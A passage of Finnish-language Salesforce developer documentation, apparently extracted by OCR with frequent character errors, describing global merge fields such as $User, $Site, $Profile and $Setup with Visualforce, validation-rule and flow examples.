summary="{!$Label.Site.temp password sent}"
/>

</apex:page>

Vihjeita: Tama globaali muuttuja on kaytettdvissd vain Visualforce-sivuilla.
$SNetwork
Kuvaus: Globaali yhdistamiskentan tyyppi, jota kdytetddn viitattaessa

yhteison tietoihin Visualforce-sahkdpostimallissa.
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Kaytto:

Visualforce-esimerkki:

Vihjeita:

$ObjectType

Kuvaus:

Kaytto:

Esimerkki
mukautetusta
painikkeesta:

Esimerkki
vahvistussaannosta:

Apex-, Visualforce- ja Lightning-komponentit

Kayta tata lauseketta Visualforce-sdhkopostimallissa kayttaaksesi
siind yhteison nimed ja yhteison sisadnkirjautumissivun
URL-osoitetta.

<messaging:emailTemplate subject="Your
Password has been reset"
recipientType="User" >
<messaging:htmlEmailBody >
<p>Hi,</p>
<p>Your password for
<b>{!$Network.Name}</b> community has been
reset.</p>
<p><a
href="{!%Network.NetworkUrlForUserEmails}'>Reset
Password</a></p>
<p>Regards, </p>
<p>Communities Admin</p>
</messaging:htmlEmailBody>
</messaging:emailTemplate>

Tama globaali muuttuja toimii vain
yhteiséjenVisualforce-sahkdpostimalleissa.

Globaali yhdistamiskentdn tyyppi, jota kdytetadn viitattaessa vakio-objekteihin tai mukautettuihin objekteihin
(kuten Tilit, Tapaukset tai Mahdollisuudet) sekd kyseisen objektin kenttien arvoihin. Voit kdyttda objektityypin
yhdistdmiskenttid LINKTO-, GETRECORDIDS-ja URLFOR-funktioissa viitataksesi tietyntyyppisiin tietoihin
tai VLOOKUP-funktiossa viitataksesi liittyvan objektin tietyntyyppiseen kenttaan.

1. Valitse kenttatyyppi: SObjectType.

2. Valitse objekti, jolla lisdtdan kyseista objektia vastaava yhdistamiskenttd, kuten $ObjectType.Case.

Voit myds valita kentan kyseisessa objektissa kayttdmalld seuraavaa syntaksia:
$ObjectType.Role Limit c.Fields.Limit c.

Alla oleva mukautettujen painikkeiden luettelo viittaa tapauksen vakio-objektiin
$ObjectType .Case-yhdistdmiskentdssd.

{!'REQUIRESCRIPT ("/soap/ajax/13.0/connection.js")} var records =
{ !GETRECORDIDS ($ObjectType.Sample) }; var newRecords

= [1; 1f (records[0] == null) { alert("Please select at least one row")
} else {
for (var n=0; n<records.length; n++) { var c = new
sforce.SObject ("Case"); c.id = records[n]; c.Status = "New";

newRecords.push(c); } result =
sforce.connection.update (newRecords); window.location.reload(); }

Tama esimerkki varmistaa laskutuksen postiosoitteen olevan kelvollinen Yhdysvaltain osoite hakemalla visi
ensimmaistd numeroa mukautetusta objektista Zip_Code__¢, joka sisaltda kaikki Yhdysvaltojen postinumerot.
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Visualforce-esimerkki:

Vihjeita:

$Organisaatio

Kuvaus:

Kaytto:

Esimerkki
vahvistussaannosta:

Esimerkkikulku:

Visualforce-esimerkki:

Vihjeita:

Apex-, Visualforce- ja Lightning-komponentit

Jos postinumeroa ei 16ydy Zip_Code__c-objektista tai laskutusosoitteen osavaltio ei vastaa State_Code_c:n
arvoa Zip_Code__c-objektissa, ndyttoon tulee virheilmoitus.

AND( LEN(BillingPostalCode) > 0, OR(BillingCountry = "USA",
BillingCountry = "US"),
VLOOKUP ( $ObjectType.Zip Code c.Fields.State Code ¢,
$ObjectType.Zip Code c.Fields.Name, LEFT(BillingPostalCode,5)) <>
BillingState )

Seuraava esimerkki hakee otsikon Tili-objektin Nimi-kentalle:

{!$0bjectType.Account.Fields.Name.Label}

Tamad globaali muuttuja on kdytettdvissa Visualforce-sivuilla, mukautetuissa painikkeissa ja linkeissa,
S-control-objekteissa sekd vahvistussaannaoissa.

Globaaliyhdistamiskentdn tyyppi, jota kdytetddn viitattaessa yrityksen profiilitietoihin. Voit viitata organisaation
yhdistamiskentilld organisaatiosi toimipaikkaan, faksinumeroon, Y-tunnukseen tai muihin tietoihin.

1. Valitse kenttatyyppi: SOrganisaatio.

2. Valitse yhdistémiskenttd, kuten SOrganization.Fax.

Organisaatioyhdistamiskenttid kdyttamadlla voi vertailla mita tahansa organisaation maadritetta asiakkaiden
vastaaviin maaritteisiin. Voit esimerkiksi selvittad, onko organisaatiosi maa sama kuin tiliesi maa. Alla oleva
vahvistuskaava viittaa organisaatiosi maa-yhdistamiskenttadn ja edellyttad kaikilta ulkomaisilta tileilta
maakoodia.

AND (SOrganization.Country <> BillingCountry, ISBLANK (Country Code c))

Luo kulun kaava (teksti), jonka lauseke on { ! $Organization.City}. Tarkasta Pdatos-elementillg,
vastaako yhteyshenkilon kaupunki kyseistd kaavaa

Organisaation tietoihin padsee kdyttamalla piste-merkintaa. Esimerkki:

{!$0Organization.Street}
{!$Organization.State}

Organisaation yhdistamiskenttien arvot tulevat niista arvoista, jotka on nyt tallennettu osaksi yrityksesi tietoja
Salesforcessa.

Huomaa, ettd { ! SOrganization.UiSkin} on valintaluetteloarvo, joten sita tulisi kdyttad
valintaluettelofunktioiden, kuten ISPICKVAL (), kanssa mukautetuissa kentissd, vahvistussaannoissa,
Visualforce-lausekkeissa, kulkujen kaavoissa, prosessien kaavoissa ja tyoénkulkusdantojen kaavoissa.
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$Page

Kuvaus:

Kaytto:

Visualforce-esimerkki:

Vihjeita:

SPermission

Kuvaus:

Kaytto:

Esimerkki
vahvistussaannosta:

Visualforce-esimerkki:

Vihjeita:

SProfile

Kuvaus:

Kaytto:

Apex-, Visualforce- ja Lightning-komponentit

Globaali yhdistdmiskentan tyyppi, jota kdytetddn viitattaessa Visualforce-sivuun.

Kayta tatd lauseketta Visualforce-sivulla linkittadksesi toiseen Visualforce-sivuun.

<apex:page>
<hl>Linked</h1>
<apex:outputLink value="{!S$Page.otherPage}">
This is a link to another page.
</apex:outputLink>
</apex:page>

Tama globaali muuttuja on kdytettdvissa vain Visualforce-sivuilla.

Globaaliyhdistamiskentdn tyyppi, jota kdytetddn viitattaessa nykyisen kdyttajan mukautettujen kayttdoikeuksien
tietoihin. Voit kdyttda kayttdoikeuden yhdistdmiskenttid viitataksesi kayttdjan nykyisiin kayttdoikeuksiin, jotka
hanelld on organisaatiosi mukautettuihin kdyttdoikeuksiin.

1. Valitse kenttatyyppi: SPermission.
2. Valitse yhdistamiskenttd, kuten SPermission.customPermissionName.
Seuraava vahvistussaanto viittaa nykyisen kdyttdjan mukautettuun changeAustinAccounts-kdyttdoikeuteen.

Tamad sdantd varmistaa, etta vain changeAustinAccounts-kayttdoikeuden omistavat kdyttdjat voivat paivittda
tileja, joiden laskutusosoitteen kaupunki on Austin.

BillingCity = 'Austin' &&

$Permission.changeAustinAccounts

Kédytd seuraavaa, jos haluat pageblock-komponentin nakyvan vain kayttdjille, joilla on mukautettu
seeExecutiveData-kayttdoikeus.

<apex:pageBlock rendered="{!S$Permission.canSeeExecutiveData}">
<!-- Executive Data Here -->
</apex:pageBlock>

SPermission ndytetddn vain, jos organisaatiollesi on luotu mukautettuja kdyttooikeuksia. Tata globaalia
muuttujaa ei tueta prosesseille, kuluille tai tydnkulkusdannéille.

Globaali yhdistamiskentan tyyppi, jota kdytetdan viitattaessa nykyisen kayttdjan profiilitietoihin. Voit kdyttaa
profiili-yhdistamiskenttid viitatessasi kayttajan profiilitietoihin, kuten lisenssityyppiin tai nimeen.

1. Valitse kenttétyyppi: SProfile.
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Esimerkki
vahvistussaannosta:

Esimerkkikulku:

Visualforce-esimerkki:

Vihjeita:

Apex-, Visualforce- ja Lightning-komponentit

2. Valitse yhdistdmiskenttd, kuten $Profile.Name.

Alla oleva vahvistussaantokaava viittaa nykyisen kayttdjan profiilin nimeen, jotta voidaan varmistaa, etta vain
tietueen omistaja tai kyseisen profiilin kayttdjat voivat tehdd muutoksia mukautettuun Oma
tavoite-kenttdan:

AND ( ISCHANGED( Personal Goal c¢ ), Owner <> $User.Id, $Profile.Name <>

"Custom: System Admin" )

Jos haluat tunnistaa oletuskdyttédjan profiilin, luo kulun kaava (teksti), jolla on seuraava lauseke.
{!SProfile.Name}

Viittaamalla tdhdn kaavaan valtyt kdyttamasta kyselyita (Lookup-elementtejd) ja kuluttamasta rajoitustasi.

Nykyisen kayttdjan profiili palautetaan seuraavasti:

{!$Profile.Name}

e $Profile-yhdistdmiskentdt ovat kdytettavissd vain Edition-versioissa, joissa voi luoda mukautettuja
profiileja.

e Profiilien nimien avulla voi viitata $Prof£1 1e-yhdistdmiskenttien vakioprofiileihin. Jos viittasit profiiliin
aikaisemmin sisdiselld arvolla, maaritd sen asemasta kdytettdva nimi seuraavan luettelon avulla:

Vakioprofiilin nimi $Profile Value
Jarjestelman padkayttdja PT1
Vakiokdyttdja PT2
Vain luku PT3
Ratkaisupaallikko PT4
Markkinointikdyttdja PT5
Sopimuspadallikko PT6
Kumppanikayttdja PT7
Platform-vakiokdyttdja PT8
Platform One -sovelluksen vakiokdyttaja PT9
Asiakasportaalin kdyttéja PT13
Asiakasportaalin pdakayttaja PT14

e Yhdistdmiskentdn arvot ovat tyhjia, jos profiilimddritteet ovat tyhjia. Esimerkiksi Kuvaus-profiilia ei
edellytetd, joten se ei valttamatta sisdlla arvoa.

e Kdyttdjat voivat kdyttdd naitd yhdistamiskenttid ilman, ettd heille tarvitsee myontad lupia tai kdyttooikeuksia

profiilitietoihin.
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SRecordType

Kuvaus:

Kaytto:

Visualforce-esimerkki:

Vihjeits:

SRequest

Kuvaus:
Kaytto:

Esimerkki
s-control-objektista:

Vihjeita:
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Globaali yhdistamiskenttd, jota kdytetddn nykyisen tietueen tietuetyyppiin viittaamiseen.
Lisdd SRecordType manuaalisesti s-control-objektiisi.
Nykyisen tietuetyypin tunniste palautetaan seuraavasti:

{SRecordType.Id}

e Kdytd $SRecordType . Id-muuttujaa viitataksesi tiettyyn tietuetyyppiin
$RecordType . Id-muuttujansijaan. Vaikka SRecordType . Name tekee kaavasta luettavamman,
sinun taytyy pdivittda kaava, jos tietuetyypin nimi muuttuu, mutta tietuetyypin tunnus ei muutu koskaan.
Jos olet kuitenkin ottamassa kaavoja kayttdon useissa organisaatioissa (esimerkiksi sandbox- ja
tuotanto-organisaation vdlilld), kdytd muuttujaa $RecordType . Name, koska tunnukset eivat ole
samoja eri organisaatioissa.

e Valta kdyttamadsta maaritettd SRecordType kaavoissa, paitsi oletusarvokaavoissa. Kayta sen sijaan
RecordType-yhdistamiskenttdd (esimerkiksi Account .RecordType . Name) tai objektin
RecordTypeId-kenttdd

o Al3 viittaa mihinkddn kenttddn SRecordType-yhdistamiskentalla ristiobjektien kaavoissa.
$RecordType-muuttuja jakautuu kaavan sisaltdmaan tietueeseen, mutta ei tietueisiin, joihin kaava
ulottuu. Kdyta sen sijaan objektin RecordType-yhdistamiskenttad.

Globaali yhdistamiskenttd, jota kdytetdadn viitattaessa arvon palauttavaan kyselyparametriin nimelld.
Lisdd $SRequest manuaalisesti s-control-objektiin.

Alla oleva koodikatkelma, jonka nimion Title Snippet, edellyttdd kahta sydttdparametria:
titleTheme ja titleText.Voitkdyttda sitd uudelleen useissa s-control-objekteissa ja mdarittdd ndin
HTML-sivujen nimia ja teemoja.

<h2
class="{!SRequest.titleTheme}.title”>
{!$Request.titleText}</h2>

Alla oleva S-control-objekti kutsuu tétd koodikatkelmaa INCLUDE-funktiolla Iahettden sille sen luoman
HTML-sivun otsikon ja teeman parametrit.

<html> <head> </head> <body> {!

INCLUDE ($SControl.Title Snippet,
"modern", titleText = "My Sample Title"]) }
content

[titleTheme =
Insert your page specific

here </body> </html>

Al kiytd SRequest-funktiota Visualforce-sivuilla viitataksesi kyselyn parametreihin. Kayta
$CurrentPage-kenttdd sen sijaan.
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$Resource
Kuvaus: Globaali yhdistamiskentdn tyyppi, jota kdytetdan viitattaessa olemassa olevaan staattiseen resurssiin nimelld
Visualforce-sivulla. Voit kayttdd resurssien yhdistamiskenttia myds URLEFOR-toiminnoissa, kun haluat viitata
tiettyyn staattisessa resurssiarkistossa olevaan tiedostoon.
Kaytto: Viittaa olemassa olevaan staattiseen resurssiin $Resource-muuttujalla. Muoto on

$Resource.ResurssinNimi,esimerkiksi SResource.TestImage.

Visuatforce-esimerkkeja: Alla oleva Visualforce-komponentti viittaa kuvatiedostoon, joka ladattiin palveluun staattisena resurssina ja

jolle annettiin nimi TestImage:
<apex:image url="{!$Resource.TestImage}" width="50" height="50"/>

Jos haluat viitata arkistossa olevaan tiedostoon (kuten . zip-tai . jar-tiedostoon), kdytd URLFOR-funktiota.
Mé&aritd staattisen resurssin nimi, jonka annoit ensimmaiselld parametrilla ladatessasi arkiston, sekd toisella
parametrilla madrittdmasi kyseisen tiedoston polku arkistossa. Esimerkki:

<apex:image url="{!URLFOR ($Resource.TestZip,
'images/Bluehills.jpg') }" width="50" height="50"/>

Vihjeita: Tamad globaali muuttuja on kdytettdvissd vain Visualforce-sivuilla.

$SControl

@ Tarkedd: Visualforce-sivut ovat korvanneet s-control-objektit. Organisaatiot, jotka eivat ole kdyttaneet S-control-objekteja ennen,
eivat voi luoda niitd. Nykyiset S-control-objektit sdilyvat entiselldan ja niitd voi yhd muokata.

Kuvaus: Globaali yhdistamiskentan tyyppi, jota kdytetadn viitattaessa aiemmin luodun custom s-control -objektin
nimeen. Kdytd LINKTO-, INCLUDE- ja URLFOR-funktioiden S-control-yhdistamiskenttia viitataksesi
yhteen mukautettuun S-control-objektiisi.

Kaytto: 1. Valitse kenttatyyppi: $SControl.

2. Valitse s-control-objekti, jolla lisatdan kyseista s-control-objektia vastaava yhdistdmiskenttd, kuten
$Scontrol.Header Snippet.

Esimerkki Alla oleva s-control-objekti viittaa koodikatkelmaan $Scontrol .Header Snippet-yhdistamiskentdssa:

s-control-objektista: , ) ,
<html> <body> {! INCLUDE ($SControl.Header Snippet, [title = "My Title",

theme = "modern"])} </body> </html>

Visualforce-esimerkki: Seuraavassa esimerkissa esitetdan, miten HelloWorld-niminen s-control-objekti linkitetdan Visualforce-sivulla:

<apex:page>

<apex:outputLink value="{!$SControl.HelloWorld}">Open the HelloWorld
s-control</apex:outputLink>

</apex:page>
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Vihjeita:

$Setup

Kuvaus:

Kaytto:

Kaavakentta-esimerkki:

Visualforce-esimerkki:
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Mikdli haluat ainoastaan upottaa s-control-objektin sivuun, voit kdyttdd <apex : scontrol>-tunnistetta
ilman $SControl-yhdistamiskenttdd. Esimerkki:

<apex:page>
<apex:scontrol controlName="HelloWorld" />
</apex:page>

e Avattava Lisdd yhdistamiskenttéa -luettelo sisaltad kaikki custom s-control -objektit
koodikatkelmia lukuun ottamatta. Vaikka koodikatkelmat ovat s-control-objekteja, ne toimivat eri tavalla.
Et esimerkiksi voi viitata URLFOR-funktion koodikatkelmaan suoraan. Koodikatkelmat eivét ole
kdytettavissa, kun luot mukautetun painikkeen tai linkin, jolla on mukautetun S-control-objektin
Sis&llén lahde, etkd voilisata koodikatkelmia sivuasetteluihisi. Jos haluat lisata koodikatkelman
s-control-objektiin, kdytd avattavaa Lis&aa koodikatkelma -valikkoa.

e Tdma globaali muuttuja on kdytettdvissd vain mukautetuissa painikkeissa ja linkeissa, s-control-objekteissa
ja Visualforce-sivuilla.

Globaali yhdistamiskentan tyyppi, jota kaytetdan viitattaessa mukautettuun "hierarkia"-tyyppiseen asetukseen.

Kdytd $Setup-funktiota kdyttadksesi hierarkkisia mukautettuja asetuksia ja niiden arvoja kayttamdlla
piste-merkintad. Esimerkki: $Setup.App Prefs c.Show Help Content c.

Hierarkkiset mukautetut asetukset sallivat arvot milld tahansa kolmella tasolla:
1. Organisaation taso, oletusarvo kaikille

2. Profiilitaso, joka korvaa Organisaation taso -arvon

3. Kayttdjataso, joka korvaa Organisaation taso ja Profiilitaso-arvot

Salesforce maarittda tdlle mukautetun asetuksen kentdlle oikean arvon automaattisesti oletuskayttdjan
nykyisen asiayhteyden perusteella.

{!$Setup.CustomSettingName c.CustomFieldName c}

Kaavakentat toimivat vain mukautetuissa hierarkia-asetuksissa. Niitd ei voida kdyttda mukautetuissa
luetteloasetuksissa.

Seuraava esimerkki osoittaa, miten voit nayttad ehdollisesti laajennetun ohjeviestin syotekentalle kdyttdjan
valinnan mukaan:

<apex:page>

<apex:inputField value="{!usr.Workstation Height c}"/>

<apex:outputPanel id="helpWorkstationHeight"
rendered="{!$Setup.App Prefs c.Show Help Content c}">
Enter the height for your workstation in inches, measured from

the

floor to top of the work surface.

</apex:outputPanel>
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</apex:page>

Jos organisaation taso on tdlle mukautetulle asetukselle true, kdyttdjat ndkevdt laajennetun ohjeviestin
oletusarvoisesti. Jos kayttdjd ei halua ndhda néitd ohjeviestejd, han voit madrittdd mukautetuksi asetuksekseen
false korvatakseen organisaation (tai profiilin) tason arvon.

"Luettelo"-tyyppiset mukautetut asetukset eivat ole kdytettavissa Visualforce-sivuilla, jotka kdyttavét tata
globaalia muuttujaa. Voit kayttdad mukautettuja luettelo-asetuksia Apex:issa.

Vihjeita: Tama globaali muuttuja on kaytettdvissa Visualforce-sivuilla, kaavakentissd, vahvistussaanndissa, kulkujen
kaavoissa ja prosessien kaavoissa.

sivusto

Kuvaus: Globaali yhdistamiskentan tyyppi, jota kdytetddn viitattaessa nykyisen Force.com-sivuston tietoihin.

Kaytto: Kdyta piste-merkintda kayttdessasi nykyisen Force.com-sivuston tietoja. Hiomaa, ettd vain seuraavat sivuston

kentat ovat kdytettavissa:

Yhdistdmiskenttd Kuvaus

$Site.Name Palauttaa nykyisen sivuston API-nimen.

$Site.Domain Palauttaa organisaatiosi Force.com-toimialuenimen.
$Site.CustomWebAddress Palauttaa pyynnén mukautetun URL:in, jos sen loppuosa ei ole

force. com, taijos se ei palauta sivuston ensisijaista
mukautettua URL:a. Jos kumpaakaan ei ole, tdma palauttaa tyhjdn
jonon. Huomaa, etta URL:n polku on aina juuri, vaikka pyynnon
mukautetussa URL:ssa olisi polun etuliite. Jos nykyinen pyynto ei
ole sivustopyynto, tdama kentta palauttaa tyhjan jonon. Taman
kentén arvo loppuu aina / -merkkiin. $Site.CustomWebAddress
kayttoa ei suositella missadn tapauksessa, vaan suosittelemme
sen sijaan kdyttdmdan $Site.BaseCustomuUrl.

$Site.OriginalUrl Palauttaa tdman sivun alkuperdisen URL:n, jos se on sivuston
maaritetty virhesivu; muussa tapauksessa palauttaa null -arvon.

$Site.CurrentSiteUrl Palauttaa nykyisen sivuston perus-URL:in, jota viitteiden ja linkkien
pitdisi kdyttad. Huomaa, ettd tdma kenttd voi palauttaa viittaavan
sivun URL:in nykyisen pyydetyn URL:in sijaan. Tdman kentédn arvo
sisdltad polun etuliitteen, ja se loppuu aina / -merkkiin. Jos
nykyinen pyynto ei ole sivustopyyntd, tdama kentta palauttaa tyhjan
jonon. $Site.CurrentSiteUrl:n kdytt6d ei suositella. Kdytd sen sijaan
$Site.BaseUrl.

$Site.LoginEnabled Palauttaa arvon tosi, jos nykyinen sivusto liittyy aktiiviseen ja
pitkdan kaytossa olleeseen portaaliin. Muussa tapauksessa arvo
epatosi palautetaan.
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Yhdistamiskentta Kuvaus

$Site.RegistrationEnabled Palauttaa arvon true, jos nykyinen sivusto liittyy aktiiviseen ja
itserekisterdinnin sallivaan Asiakasportaaliin. Muussa tapauksessa
arvo false palautetaan.

$Site.IsPasswordExpired Palauttaa arvon tosi todennetuille kdyttdjille, jos kirjautuneen
kdyttajan salasana on vanhentunut. Palauttaa arvon epatosi
todentamattomille kayttajille.

$Site. AdminEmailAddress Palauttaa nykyisen sivuston Sivuston yhteyshenkild
-kentan arvon.

$Site Prefix Palauttaa nykyisen sivuston URL-polun etuliitteen. Jos sivustosi
URLonesimerkiksi omayritys. force.com/kumppanit,
/kumppanit onpolun etuliite. Palauttaa nul1, jos etuliitettd
ei ole mdaritelty. Jos nykyinen pyyntd ei ole sivustopyynto, tdmd
kenttd palauttaa tyhjan jonon.

$Site.Template Palauttaa nykyiseen sivuun liittyvan mallin nimen; palauttaa
oletusmallin, mikdli yhtdan mallia ei ole mdaritetty.

$Site.ErrorMessage Palauttaa virheilmoituksen nykyiselle sivulle, mikali se on sivuston
mddritetty virhesivu ja virhe on olemassa; muussa tapauksessa
palauttaa tyhjan komentosarjan.

$Site.ErrorDescription Palauttaa virhekuvauksen nykyiselle sivulle, mikdli se on sivuston
mddritetty virhesivu ja virhe on olemassa; muussa tapauksessa
palauttaa tyhjan komentosarjan.

$Site. AnalyticsTrackingCode Sivustoosi liittyvd seurantakoodi. Palvelut, kuten Google Analytics,
voivat kdyttdd tata koodia sivustosi sivupyyntotietojen
seuraamiseksi.

$Site.BaseCustomUr] Palauttaa nykyisen sivuston perus-URL:n, joka ei kdytd Force.com
-alidomainia. Palautunut URL kayttad samaa protokollaa (HTTP tai
HTTPS), kuin nykyinen pyynt, jos sivustolla on vahintdan yksi
ei-Force.com mukautettu URL, joka tukee HTTPS:43. Téman kentan
arvo ei padty koskaan / -merkkiin. Jos sivuston kaikki mukautetut
URL:it paattyvat force . com, tai sivustolla ei ole mukautettuja
URL:eja, tdma palauttaa tyhjan jonon. Jos nykyinen pyyntd ei ole
sivustopyyntd, tdma kenttd palauttaa tyhjan jonon.

Tama kenttd korvaa CustomiebAddress:n ja sisallyttad
mukautetun URL:n polun etuliitteen.

$Site.BaselnsecureUrl Palauttaa nykyisen sivuston perus-URL:n, joka kdyttda HTTP:n sijaan
HTTPS:ta. Nykyisen pyynnon domain on kdytossa. Palautettu arvo
sisdltad polun etuliitteen, ja se loppuu aina / -merkkiin. Jos
nykyinen pyynto ei ole sivustopyyntd, tdma kentta palauttaa tyhjan

jonon.
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Yhdistamiskentta Kuvaus

$Site.BaseRequestUrl Palauttaa nykyisen sivuston perus-URL:n pyydetylle URL:lle. Tahan
ei vaikuta viittaavan sivuston URL. Palautunut URL kéyttdd samaa
protokollaa (HTTP tai HTTPS) kuin nykyinen pyynto. Palautettu
arvo sisaltda polun etuliitteen, ja se loppuu aina / -merkkiin. Jos
nykyinen pyynt ei ole sivustopyyntd, tdmd kenttd palauttaa tyhjan
jonon.

$Site.BaseSecureUrl Palauttaa nykyisen sivuston perus-URL:n, joka kdyttad HTTPS:n
sijaan HTTP:td. Nykyisen pyynnén domain on suositeltu, jos se
tukee HTTPS:da. Domainit, jotka eivat ole Force.com alidomaineja,
ovat suositellumpia kuin Force.com alidomainit. Sivustoon
yhdistetty Force.com alidomain otetaan kayttdon, jos nykyiselld
sivustolla ei ole muita HTTPS domaineja. Jos sivustolla ei ole
mukautettuja HTTPS URL:eja, tdma metodi palauttaa tyhjan jonon.
Palautettu arvo siséltad polun etuliitteen, ja se loppuu aina /
-merkkiin. Jos nykyinen pyynt® ei ole sivustopyyntd, tdmd kentta
palauttaa tyhjdn jonon.

$Site.BaseUrl Palauttaa nykyisen sivuston perus-URL:in, jota viitteiden ja linkkien
pitdisi kdyttad. Huomaa, ettd tdma kenttd voi palauttaa viittaavan
sivun URL:in nykyisen pyydetyn URL:in sijaan. Taman kentan arvo
arvo sisaltda polun etuliitteen, ja se loppuu aina / -merkkiin. Jos
nykyinen pyynto ei ole sivustopyyntd, tdma kentta palauttaa tyhjan

jonon.

Tama kentta korvaa $Site.CurrentSiteUrl:n.

$Site.MasterlLabel Palauttaa nykyisen sivuston Master Label -kentdn arvon. Jos
nykyinen pyynt ei ole sivustopyyntd, tdmd kenttd palauttaa tyhjan
jonon.

$Site Siteld Palauttaa nykyisen sivuston tunnisteen. Jos nykyinen pyyntd ei

ole sivustopyynto, tdmé kenttd palauttaa tyhjan jonon.

$Site SiteType Palauttaa nykyisen sivuston tyyppikentdn APl -arvon. Jos nykyinen
pyyntd ei ole sivustopyyntd, tdma kenttd palauttaa tyhjan jonon.

$Site SiteTypeLabel Palauttaa nykyisen Sivuston tyyppikentdn otsikon. Jos nykyinen
pyyntd ei ole sivustopyyntd, tdma kenttd palauttaa tyhjan jonon.

Visualforce-esimerkki: Seuraava esimerkki kuvaa, kuinka kdyttdd $Site.Template-yhdistdmiskenttda:

<apex:page title="Job Application Confirmation" showHeader="false"
standardStylesheets="true">

<!-- The site template provides layout & style for the site -->
<apex:composition template="{!$Site.Template}">

<apex:define name="body">
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<apex:form>
<apex:commandLink value="<- Back to Job Search"

onclick="window.top.location="'{!$Page.PublicJobs}';return
false;"/>

<br/>
<br/>
<center>

<apex:outputText value="Your application has been saved.

Thank you for your interest!"/>
</center>
<br/>
<br/>
</apex:form>
</apex:define>

</apex:composition>
</apex:page>

Vihjeita: Tama globaali muuttuja on kéytettdvissa Visualforce-sivuilla, sahkdpostimalleissa ja s-control-objekteissa.

$System.OriginDateTime

Kuvaus: Globaali yhdistamiskenttd, joka esittda literaaliarvoa 1900-01-01 00:00:00. Kdyta tdtd globaalia muuttujaa
suorittaessasi pdivays/aikapoikkeamalaskelmia tai silloin, kun haluat antaa paivays-/aikakentalle literaaliarvon.
Kaytto: 1. Valitse kenttétyyppi: $System.
2. Valitse Lisd4d yhdistamiskenttd -vaihtoehdosta OriginDateTime.
Kaavaesimerkki: Alla olevassa esimerkissd kuvataan sitd, miten pdivdyskenttd muunnetaan pdivdys-/aika-kentdksi. Se kayttda

OriginDateTime-yhdistdmiskentdn pdivaystd ja selvittdd, miten monta pdivaa on kulunut mukautetusta
Oma paivamiddra -kentasti. Sitten se lisdd pdivien lukumddrdn OriginDateTime-arvoon.

$System.OriginDatetime + ( My Date Field c¢ -
DATEVALUE ($System.OriginDatetime) )

Nofe: OriginDateTime on GMT-aikavyohykkeelld, mutta tulos ndytetdan kayttajdn paikallisella
aikavyodhykkeella.

Esimerkki kulusta,
prosessista ja
Visualforcesta: {INOW () - $System.OriginDateTime}

Seuraava esimerkki laskee 1. tammikuuta 1900 jélkeen kuluneiden pdivien lukumaaran:

Vihjeita: Tama globaali muuttuja on kéytettdvissd seuraavissa kohteissa:
e Oletusarvot

e Mukautettujen kenttien, kulkujen, prosessien ja tydnkulkusddntéjen kaavat
e Tydnkulun kentdn pdivitystoiminnot

e Visualforce-sivut ja s-control-objektit

35



Paranna Salesforcea koodilla

$User

Kuvaus:

Kaytto:

Esimerkki
vahvistussaannosta:

Esimerkkikulku:

Visualforce-esimerkki:

Vihjeita:

Apex-, Visualforce- ja Lightning-komponentit

Globaali yhdistamiskentan tyyppi, jota kdytetddn viitattaessa nykyisen kdyttdjan tietoihin. Kdyttdjien
yhdistamiskenttid voidaan kdyttad viittaamaan kdyttajaan liittyviin tietoihin, kuten aliakseen, tydnimikkeeseen
ja tunnukseen. Useimmat Kayttdja-vakio-objektin kentét ovat kadytettdvissa myos SUser-muuttujassa.

1. Valitse kenttatyyppi: SUser.

2. Valitse yhdistamiskenttd, kuten SUser .Username.

Alla oleva vahvistussaanttkaava viittaa nykyisen kayttajan tunnukseen, jotta voidaan madrittaa, onko nykyinen
kdyttdja tietueen omistaja. Tallaisen esimerkin avulla voi varmistaa, ettd vain tietueen omistaja tai padkayttajat
voivat muuttaa mukautettua Oma tavoite -kenttda:

AND ( ISCHANGED ( Personal Goal c¢ ), Owner <> $User.Id, $Profile.Name <>

"Custom: System Admin" )

Jos haluat hakea oletuskayttajan nimen helposti, kdyta kulun kaavaa. Luo kulun kaava (teksti), jolla on seuraava
lauseke.

{!SUser.FirstName} & “ “ & {!SUser.LastName}

Kun olet luonut kaavan, viittaa siihen missd tahansa kohtaa kulkua, kun haluat kutsua kayttdjaa nimelta.
Viittaamalla globaaliin $User-muuttujaan valtyt kdyttdmasta lookup-hakuija, jotka lasketaan kulkujen
rajoituksiin.

Seuraava esimerkki ndyttaa nykyisen kayttajan yrityksen nimen seka nykyisen kayttdjan tilan (joka palauttaa
totuusarvon).

<apex:page>
<hl>Congratulations</hl>
This is your new Apex Page
<p>The current company name for this
user 1is: {!$User.CompanyName}</p>
<p>Is the user active?
{!SUser.isActive}</p>
</apex:page>

e Nykyinen kayttdja on henkil, joka muuttaa tietuetta, joka kehotti lisddmaan oletusarvon tai
vahvistussdanndn tai suorittamaan muun ndita globaaleja yhdistamiskenttid kayttavdn toiminnon.

e Kun Webistd tapaukseksi- tai Webistd liidiksi -prosessi on muuttanut tietuetta, nykyinen kdyttdja
onLiidin oletusomistaja tai Tapauksen oletusomistaja.

e Kun prosessi suorittaa ajoitettuja toimintoja ja prosessin kaynnistanyt kayttdja ei ole endd aktiivinen,
SUser viittaa tyonkulun oletuskdyttajaan. Sama pétee myés tydnkulkusddntojen aikaan perustuviin
toimintoihin.

e Erditd SUser-yhdistdmiskenttia voi kayttdd Mobile-mé&arityksen suodattimina.
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$User.UITheme |0 $User.UIThemeDisplayed

Kuvaus: Ndma globaalit yhdistamiskentdt tunnistavat Salesforcen ulkoasun, jonka kdyttdja ndkee madrdtylla Web-sivulla.

Ero ndiden kahden muuttujan valilld on, ettd $User .UITheme palauttaa ulkoasun, jonka kdyttdjan pitdisi
ndhdd, kuntaas $User.UIThemeDisplayed palauttaa ulkoasun, jonka kdyttdja todella nakee. Kayttdjalla
voi esimerkiksi olla halu ja oikeus ndhda Lightning Experiencen ulkoasu, mutta jos han kayttda selainta, joka
ei tue ulkoasua (esimerkiksi vanhaa Internet Explorer -versiota), SUser.UIThemeDisplayed palauttaa
eri arvon.

Kaytto: Kdytd nditd muuttujia tunnistamaan CSS, jota kdytettiin Salesforce-web-sivuston renderdimisessa kayttdjalle.
Molemmat muuttujat palauttavat jonkin seuraavista arvoista.

® Themel— Vanhentunut Salesforce-teema

* Theme2—Salesforce-teema, jota kdytettiin ennen Spring '2005 -julkaisua
e Theme3—Salesforce Classic 2010 -kdyttoliittymdteema

* Theme4d— Moderni "Lightning Experience” Salesforce -teema

® Theme4t—Salesforcel-mobiilisovelluksen Salesforce-teema

e PortalDefault—>Salesforce-asiakasportaalin teema

* Webstore—SalesforcenAppExchange-teema

Visualforce-esimerkki: Seuraava esimerkki osoittaa, kuinka voit renderdidd erilaisia asetteluita kayttdjan teeman perusteella:

<apex:page>
<apex:pageBlock title="My Content" rendered="{!$User.UITheme ==
'Theme2'}">
// this is the old theme...
